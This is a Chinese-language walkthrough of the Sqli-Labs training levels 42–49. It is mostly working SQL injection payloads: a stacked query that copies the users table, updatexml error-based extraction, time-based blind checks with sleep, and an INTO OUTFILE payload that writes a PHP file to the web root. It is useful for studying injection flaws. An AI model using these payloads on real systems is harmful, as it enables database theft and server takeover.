Sqli-Labs 闯关 less 42-49
Less 42
这一关一进去看着像前面的二次注入。发现也注入不了。。
我们观察代码发现这一关用的是堆叠注入。
登陆的这里可以看到login_password登陆的时候并没有使用mysqli_real_escape_string来进行过滤,然后直接带去sql语句进行执行了。
在进行post的时候,username随机就可以,a’;create table qiyuan2 like users;insert into qiyuan2 select *from users; #
虽然显示还是错误的,但是我们数据库是有的。
Less 43
与42关基本一样。区别在包裹数据变成,’)
Less 44
与42关基本一样。区别在没有回显信息。
Less 45
与42关基本一样。区别在没有回显信息,并且包裹变成 ‘)
Less 46
这一关主要考的是 order by 注入。我们看源码发现,让我们输入sort命令来查询id。
我们先输一个 ?sort=1,试试。。额。。发现直接把用户名密码都爆出来了,我们查查网页看看这一关还有没有别的内容。
查到:
elect * from users order by 1 desc ;使用降序(倒序)排列
select * from users order by 1 asc ;使用升序(正序)排列
select right(database(),1);从右至左输出第一个字母
select lesft(database(),1);从左至右输出第一个字母
lines terminated by 666 每行输出以666结尾
我们来试试别的,看看能不能得到其他信息:
一、报错注入:
获取数据库:?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))
二、还可以用延时注入的方法
?sort=1 and if(length(database())=8 ,1,sleep(5))
Less 47
基本与46关相同,只是闭合语句变成了 ‘)。
Less 48
这一关与46关差不多,只是没有了报错回显,只能用盲注的方法。
也就是上面的第二种方法,?sort=1 and if(length(database())=8 ,1,sleep(5))
Less 49
与上一关基本相同,没有回显,闭合变成了 1′) ,可以用盲注方法。。
?sort=1′ and if(length(database())=8 ,1,sleep(5))–+
前面46-49关也可以使用outfile函数:
?sort=1 into outfile ‘C:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\qiyuan.php’–+